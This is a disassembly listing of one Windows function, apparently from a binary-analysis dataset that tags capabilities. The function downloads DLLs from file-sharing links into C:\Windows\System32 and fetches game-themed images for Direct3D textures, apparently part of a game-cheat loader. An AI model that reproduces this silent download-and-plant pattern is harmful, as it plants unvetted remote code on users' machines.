Function at 0x14003b970
Capabilities:
Create directory
Download url
Receive data

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x80
mov rax, qword [0x1400ca080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov qword [r11 - 0x48], 0xffffffffffffffff
xor ebx, ebx
cmp byte [0x1402232cc], bl
mov qword [r11 - 0x40], 0xffffffffffffffff
mov qword [r11 - 0x38], 0xffffffffffffffff
mov qword [r11 - 0x30], 0xffffffffffffffff
mov dword [rsp + 0x60], 0xffffffff
mov qword [r11 - 0x24], 0xfffffffffffffffd
mov dword [rsp + 0x6c], 0xffffffff
mov qword [r11 - 0x18], rbx
jne 0x14003bd36
mov rcx, qword [0x140223670]
lea rax, [0x1402232a8]
mov qword [r11 - 0x58], rbx
lea r9, [r11 - 0x48]
mov qword [r11 - 0x60], rax
lea rdx, [0x14011c170]
mov r8d, 0x10204
mov qword [r11 - 0x68], rbx
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
xor edx, edx
lea rcx, str.C:Prefetch
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32libcrypto_3_x64.dll
xor ecx, ecx
lea rdx, str.https:__drive.filen.io_d_f30e84b4_6f7d_4b65_b365_5531c3c0b1a0vm1Ks27QVGPXN17bguBCjfPw1Ra1s0SW
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32libssl_3_x64.dll
xor ecx, ecx
lea rdx, str.https:__drive.filen.io_d_87768636_cb89_48ae_86f1_8d0c2545c208HfxJBtmtqIeTIc8aduzKOFXfhyb1mRTJ
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32mysqlcppconn_10_vs14.dll
xor ecx, ecx
lea rdx, str.https:__drive.filen.io_d_0a3f6343_4cd8_420b_86f7_0086099db7ddoNSlYIg0oZK5wZqVVYuQYUF9KbYmZlo7
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:WindowsSystem32mysqlcppconnx_2_vs14.dll
xor ecx, ecx
lea rdx, str.https:__drive.filen.io_d_19ba7aa1_6610_48ba_9c9a_8c45cacbda4fWIhT7bzweiYncDEI7mtrbAd5DPrexplu
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch1.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_LhsQ2m1_valorant.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch2.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_qBw8dBx_csgo.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch3.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_TBnhcS0_warzone.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch4.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_CWdwQhS_FiveM.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223600]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetch1.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223608]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetch2.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
lea rax, [0x140223610]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
xor r9d, r9d
mov rcx, qword [0x140223670]
lea rdx, str.C:Prefetch3.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223618]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetch4.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch_val.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_hfVyjrP_i_val.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetchcs.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_4VV1mbN_i_cs.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetchwar.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_JxkztQQ_i_war.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch_fiv.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_h10GDVR_i_fiv.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223638]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetch_val.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223640]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetchcs.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223648]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetchwar.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
mov rcx, qword [0x140223670]
lea rax, [0x140223650]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetch_fiv.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Prefetch_big.png
xor ecx, ecx
lea rdx, str.https:__i.ibb.co_LSxMt7v_bigyose_radius.png
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, qword [0x140223670]
lea rax, [0x1402232a0]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, str.C:Prefetch_big.png
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromFileW]
mov byte [0x1402232cc], 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400a1c50
add rsp, 0x80
pop rbx
ret